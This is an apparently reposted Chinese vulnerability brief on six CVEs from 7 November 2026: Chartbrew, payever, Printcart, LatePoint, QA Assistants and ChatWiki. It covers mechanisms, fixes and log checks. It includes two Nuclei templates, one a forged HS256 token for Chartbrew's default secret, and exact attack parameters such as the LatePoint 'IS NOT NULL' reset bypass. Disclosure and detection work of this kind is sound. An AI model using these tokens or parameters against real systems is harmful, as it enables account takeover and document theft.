11月7日漏洞:6个,2个上传、2个认证绕过、1个反序列化、1个信息泄露"

admin 2026-11-09 19:01:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

11月7日漏洞:6个,2个上传、2个认证绕过、1个反序列化、1个信息泄露

原创

niuko
niuko

Ncko

2026年11月8日 09:00
安徽

去阅读

11 月 7 日,NVD 在这个窗口里写入 667 条记录。

11 月 7 日简报:当天 NVD 写入 667 条记录,按反序列化、未授权、认证绕过、文件上传、信息泄露筛完,够分量写的有 6 条。payever 的 WooCommerce 网关和 Printcart 的在线设计插件都能让未登录的人往站点写 PHP,评分都是 9.8;Chartbrew 的 .env 模板留着第二把验签钥匙,默认值公开,能签出任意用户的会话;LatePoint 把 IS NOT NULL 当成密码重置令牌,未登录就能改掉最低 ID 客户的密码;QA Assistants 在队列参数上做反序列化,借 Guzzle 的 gadget 写文件;ChatWiki 的文件路由没挂鉴权,租户 ID 由调用方自己填。

五条不用账号。QA Assistants 的评分向量写的是 PR:L,公告按未授权描述。三条有前置条件:payever 的完整链要取回 token,Printcart 要站点把上传弹窗切成 Advanced 模式,LatePoint 要先拿到客户邮箱。QA Assistants 要种一份队列文件,再等两分钟一轮的 cron。

六条的错误位置不一样,错的姿势一样:同一个值,被两个地方各自解释了一遍。Chartbrew 有两把验签钥匙,默认那把是公开的;payever 先把文件写下去,再回头验类型;Printcart 拼路径和取扩展名用的是同一段没洗过的输入;LatePoint 把 IS NOT NULL 当查询条件,不当字符串;QA Assistants 把外部串直接交给 unserialize();ChatWiki 的鉴权中间件根本没挂在这条路由上。

PART 01

六条,先看门槛

时间 条目 后果
04:17 ChatWiki < 2.10.0(CVE-2026-124027) 未授权跨租户读文档,8.7
05:17 Chartbrew ≤ 5.2.2(CVE-2026-85295) 默认密钥伪造会话,9.8
11:17 payever ≤ 4.8.0(CVE-2026-93754) 未授权上传 PHP,9.8
12:17 Printcart ≤ 2.13.2(CVE-2026-19803) 路径穿越写 PHP,9.8
15:17 QA Assistants ≤ 5.3.0(CVE-2026-87112) 反序列化写文件,8.8
20:17 LatePoint ≤ 5.7.6(CVE-2026-118066) 未授权改密接管,9.1

按类别分:

类别 条数 条目
文件上传 2 payever、Printcart
认证绕过 2 Chartbrew、LatePoint
反序列化 1 QA Assistants
信息泄露 1 ChatWiki

机制示意:六条各自在“写入”和“检查”之间错开了一层。依据 Wordfence、Chartbrew GHSA、VulnCheck、GitHub issue 与上游代码重绘,不是抓包截图。

PART 02

第二把钥匙,默认值是公开的

05:17。Chartbrew 5.2.2 及以下。

Chartbrew 的 API 和 WebSocket 用两把钥匙验会话。先拿 CB\_ENCRYPTION\_KEY 验,失败后再拿 CB\_SECRET 验。四个验签函数都没写 algorithms 限制:verifyToken.js、verifyUser.js、getUserFromToken.js、socketManager.js。HS256 令牌只要签名对得上 CB\_SECRET,就当成合法会话。

正常登录只签 CB\_ENCRYPTION\_KEY。CB\_SECRET 在 .env-template 里是固定值 change\_to\_random\_string,注释写着已废弃、仅为兼容保留。启动脚本 setUpEncryptionKeys.js 只生成 CB\_ENCRYPTION\_KEY,不碰 CB\_SECRET。源码安装和仓库里的 docker-compose 都从模板复制 .env,装完不改这一行,第二把钥匙就是公开的。

README 里那条裸 docker run 不写 CB\_SECRET,变量为空,回退分支不成立,这一类部署不受影响。

伪造一份 {\"id\":1} 的 HS256 令牌,带上去请求 /user/1。verifyUser 验完签名,再比较令牌里的 id 和路径里的 id,两个都是 1,就放行,返回这个用户的资料。这个令牌在 API 和 socket 层都被当作这个用户,密码和二次验证都不在这条路上。

CVSS 3.1 9.8,CWE-1394。修复版本 5.2.3。

公开时间:GitHub 安全公告 11 月 6 日发布,NVD 在北京时间 11 月 7 日 05:17 写入记录。

复现情况:公告作者在 v5.2.2 的 docker-compose 默认配置上做了实测:伪造令牌返回受害者资料和一份新会话,签名错误的对照请求返回 401。公告还给了一条 /user/relog 的用法,拿到新会话后不必再签。

模板只验证 id 为 1 的账号。管理员不是 1 的站点,换 id 重新签一份。密钥写的是模板默认值,改过 CB\_SECRET 的部署不会命中。

id: CVE-2026-85295

info:
  name: Chartbrew 默认 CB\_SECRET 会话伪造
  author: Ncko
  severity: critical
  description: |
    5.2.2 及以下在 CB\_ENCRYPTION\_KEY 验签失败后回退到 CB\_SECRET,
    四个模块的 jwt.verify 都没有限定 algorithms。CB\_SECRET 在 .env-template
    里是固定值 change\_to\_random\_string,启动时也不重新生成。
    伪造一份 HS256 令牌即可冒充任意 user id。模板使用 id 1 和模板
    默认密钥,换账号要按同样的 secret 重新签一份。
  reference:
    - https://github.com/chartbrew/chartbrew/security/advisories/GHSA-qvv4-r3q6-8797
    - https://github.com/chartbrew/chartbrew/releases/tag/v5.2.3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85295
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85295
    cwe-id: CWE-1394
  metadata:
    max-request: 1
    verified: false
  tags: cve,cve2026,chartbrew,jwt,auth-bypass

http:
  - raw:
      - |
        GET /user/1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MX0.3vUemb9y\_tSdHer6kLLMWdsVCwEdsRyaiSoPIYg34ec
        Accept: application/json

matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - '\"id\":1'
          - '\"email\"'
        condition: and

返回 200 且 body 里有 \"id\":1 和 \"email\",说明伪造令牌被接受。返回 401,说明 CB\_SECRET 已经改过,或者回退分支不存在。

PART 03

先写文件,再验类型

11:17。payever WooCommerce Gateway 4.8.0 及以下。

三个 WooCommerce-API 回调没有挂身份检查,也没有 capability 和 nonce:payever\_set\_sandbox\_api\_keys、payever\_toggle\_subscription、payever\_synchronization\_incoming。

upload\_image() 把远端拉回来的文件写进公开的 uploads 目录。文件名用攻击者给的 basename(),扩展名还没验,文件已经落盘。后面再检查类型,已经晚了。

公告补了一句限制:完整链里“取回 token”那段,依赖插件自己向 Payever 服务发起的 validateToken() 请求。不依赖这一步的部分,是硬编码凭据导致的身份覆盖,CWE-862 和 CWE-798。评分仍按未授权文件上传给到 9.8。

危害是未授权写 PHP 并执行,进程身份就是 Web 服务用户。Wordfence 给的 CVSS 3.1 是 9.8,CWE-434。

公开时间:Wordfence 11 月 6 日公开,NVD 在北京时间 11 月 7 日 11:17 写入记录。

修复版本 4.9.0。

复现情况:公告列了代码位置和调用顺序,没有公开利用脚本。

没给模板。要拼出三个回调里可用的那条链,得先知道站点上的回调参数和一份能返回 PHP 内容的远端地址;公告没有请求样例。照着代码猜一个固定请求,命中率不会比误报高。

PART 04

路径拼两遍,扩展名也跟着走

12:17。Printcart Store 2.13.2 及以下。

nbu\_crop\_image 这个 AJAX 处理器收一个 url 参数。Nbdesigner\_IO::convert\_url\_to\_path() 把它直接拼到 uploads 目录后面,不规范化,也不剥 ../。

输出目录和输出文件的扩展名,都从这段同一个路径上用 pathinfo() 取。writeImage() 之前没有 stripImage()。结果就是 ../ 能走到 uploads 之外,扩展名也能跟着路径变成 .php。

触发要一个站点配置:nbdesigner\_upload\_popup\_style 设为 a,也就是 Advanced Upload Popup。这个模式下,处理器对未登录请求注册。需要的 save-design nonce 印在公开的 upload-design-file 页面上,匿名访客打开页面就能拿到。

CVSS 3.1 9.8,CWE-94。修复版本 2.13.3。

公开时间:Wordfence 11 月 6 日公开,NVD 在北京时间 11 月 7 日 12:17 写入记录。

复现情况:公告给了代码位置、配置前提和 nonce 来源,没有公开利用脚本。

没给模板。要现抓公开页里的 nonce,再让 url 里的 ../ 和 pathinfo() 取出的扩展名同时成立,公告没给请求样例;写死一个路径,换站点就失效。

PART 05

IS NOT NULL 被当成令牌

20:17。LatePoint 5.7.6 及以下。

OsModel::build\_conditions\_query() 会把 WHERE 子句的值和字面量 'IS NULL'、'IS NOT NULL' 做比较。命中就把这段直接拼进 SQL,不参数化。

sanitize\_text\_field() 不清除这两个词,5.7.5 加的 is\_scalar() 也放行标量。

未登录请求把 params[password\reset\_token] 设成 IS NOT NULL,发给公开的 AJAX 路由 customer\_cabinet\\_change\_password。条件匹配所有非空的 account\_nonse,最后落到 id 最小的客户,密码被改成攻击者指定的值。

要先把目标客户的邮箱拿到。steps\_\_start\_from\_order\_intent 也是公开路由,把 params[order\_intent\_key] 设成 IS NOT NULL,会返回第一条匹配订单意向的姓名和邮箱。拿到邮箱后,替这个客户触发一次改密,把 15 分钟的新鲜度窗口打开。

站点开了 wp\_users\_as\_customers,被改密的客户会连到同邮箱的 WordPress 订阅者或 customer 账号。管理员账号如果也是客户,到这一步就是整站接管。

CVSS 3.1 9.1,CWE-287。修复版本 5.7.7。

公开时间:Wordfence 11 月 6 日公开,NVD 在北京时间 11 月 7 日 20:17 写入记录。

复现情况:公告给了完整参数、路由和前置窗口,没给现成脚本。

没给模板。模板要真的把目标密码改掉,属于破坏性操作;还要先拿邮箱、触发重置、等 15 分钟窗口,单请求判断不了。

PART 06

反序列化在队列里等人

15:17。QA Assistants 5.3.0 及以下。

dlevent\_ver 参数进 wrap\_unserialize\_static(),里面直接调 unserialize(),没有 allowed\_classes。同一套代码里,serialize\_escape() 又不处理 raw\_name 里的 ../。

插件自带的 Composer 依赖里有 Guzzle 的 FileCookieJar gadget。串起来是一个任意文件写入,内容由攻击者控制,文件名也能选,落到可执行目录就是 RCE。

触发不是发一个请求就结束。要先种一份队列文件,再让 qahm\_cron\_data\_manage 这个定时事件在 wp-cron.php 上跑起来,反序列化才碰得到那份数据。这个入口不需要账号,定时任务两分钟一轮。

CVSS 3.1 8.8,CWE-502。修复版本 5.3.0.1。

公开时间:Wordfence 11 月 6 日公开,NVD 在北京时间 11 月 7 日 15:17 写入记录。

复现情况:公告点明了参数、sink、gadget 和定时事件,没有公开完整链。

没给模板。要正确的 POP 链、要能种队列文件、还要等 cron,HTTP 单请求验证不了;写出来也只是形式上的模板。

PART 07

没有登录的路由,租户 ID 自己填

04:17。ChatWiki 2.10.0 之前。

GET /manage/getLibRawFileOnePage 在 route/gin.go 里通过 noAuthFuns 注册,直接进 NoAuthRouteMap,不挂 CasbinAuth。

处理器从 query 里读三个值:admin\_user\_id、id、page。别的知识库文件接口都会先调 GetAdminUserId(c),从验过的 JWT 里取租户;这一条没有。

common.GetLibFileInfo(id, adminUserId) 本身会校验文件行里的 admin\_user\_id 和传入值是否相同。问题是两个值都由调用方给,攻击者填受害者自己的租户 ID,校验就成立了。

遍历小的整数对,就能拿到任意租户知识库文档渲染出来的 PDF 页。多租户部署上,这是跨租户的文档泄露;内部资料、公众号素材、业务知识库,都可能在里面。

CVSS 4.0 8.7,CVSS 3.1 7.5,CWE-306。修复版本 2.10.0,对应 commit d1ca145。

公开时间:VulnCheck 11 月 6 日发布公告,NVD 在北京时间 11 月 7 日 04:17 写入记录。

复现情况:公告给了路由、代码路径和参数,完整步骤写的是“按需提供”,没有公开脚本。

模板用 admin\_user\_id=1&id=1&page=1 做一个探针。真实环境里两个 ID 都要枚举;命中看返回头是不是 PDF。

id: CVE-2026-124027

info:
  name: ChatWiki 未授权跨租户知识库文档读取
  author: Ncko
  severity: high
  description: |
    2.10.0 之前,GET /manage/getLibRawFileOnePage 通过 noAuthFuns
    注册,不挂鉴权中间件。处理器从 query 里直接读 admin\_user\_id、
    id、page,没有从 JWT 取租户。GetLibFileInfo 的归属校验只比对
    传入的 admin\_user\_id,两个值都由调用方给,校验形同虚设。
    模板用 1/1/1 做探针,实际要枚举两个小整数。
  reference:
    - https://www.vulncheck.com/advisories/chatwiki-before-2.10.0-unauthenticated-document-disclosure-via-getlibrawfileonepage
    - https://github.com/zhimaAi/chatwiki/issues/181
    - https://github.com/zhimaAi/chatwiki/commit/d1ca145e283e2cb652e0b1002d5f14d6a46671e3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-124027
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-124027
    cwe-id: CWE-306
  metadata:
    max-request: 1
    verified: false
  tags: cve,cve2026,chatwiki,disclosure,unauth

http:
  - method: GET
    path:
      - \"{{BaseURL}}/manage/getLibRawFileOnePage?admin\_user\_id=1&id=1&page=1\"

matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: header
        words:
          - application/pdf
          - .pdf
        condition: or

返回 200 且 Content-Type 或 Content-Disposition 里带 pdf,说明这条路由把文件返回了。返回 401/403,先确认版本;2.10.0 之后这条路由加了鉴权。

PART 08

怎么查,怎么修

组件 修复版本 先做什么
Chartbrew 5.2.3 改掉 CB\_SECRET,重启服务
payever 4.9.0 升级,查 uploads 里新出现的 PHP
Printcart 2.13.3 升级,不用 Advanced 上传就先关掉
LatePoint 5.7.7 升级,查异常的改密请求
QA Assistants 5.3.0.1 升级,查 cron 队列
ChatWiki 2.10.0 升级,查匿名文件请求

能先做三件事:Chartbrew 改掉 CB\_SECRET,别留默认值;两个 WordPress 插件先升级;ChatWiki 升到 2.10.0,顺手查一遍谁在匿名请求 /manage/getLibRawFileOnePage。

日志侧:Chartbrew 查 /user/1 上来源陌生的 Bearer 令牌;payever 查三个回调名和 uploads 目录里新出现的 PHP;Printcart 查 nbu\crop\_image 的 url 参数里有没有 ../;LatePoint 查 customer\_cabinet\\_change\_password 里带 IS NOT NULL 的请求;QA Assistants 查 wp-cron.php 对 qahm\_cron\_data\_manage 的调用和队列目录的写入;ChatWiki 查匿名访问 /manage/getLibRawFileOnePage 且 admin\_user\_id 与来源不匹配的记录。

PART 09

资料与说明

六条里给了两个模板。Chartbrew 是伪造默认密钥的令牌,ChatWiki 是固定的 ID 探针。其余四条各自写了原因:payever 缺请求样例和远端文件地址;Printcart 要现抓 nonce 且依赖站点配置;LatePoint 改密是破坏性操作;QA Assistants 要 POP 链、队列文件和 cron。

版本号、评分、修复版本和时间线来自 NVD 记录、Wordfence 的 payever / Printcart / LatePoint / QA Assistants 记录、Chartbrew 的 GHSA-qvv4-r3q6-8797、VulnCheck 的 ChatWiki 公告与 GitHub issue #181、上游 commit d1ca145。

免责声明:由于传播、利用本公众号Ncko所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

    评论:0   参与:  0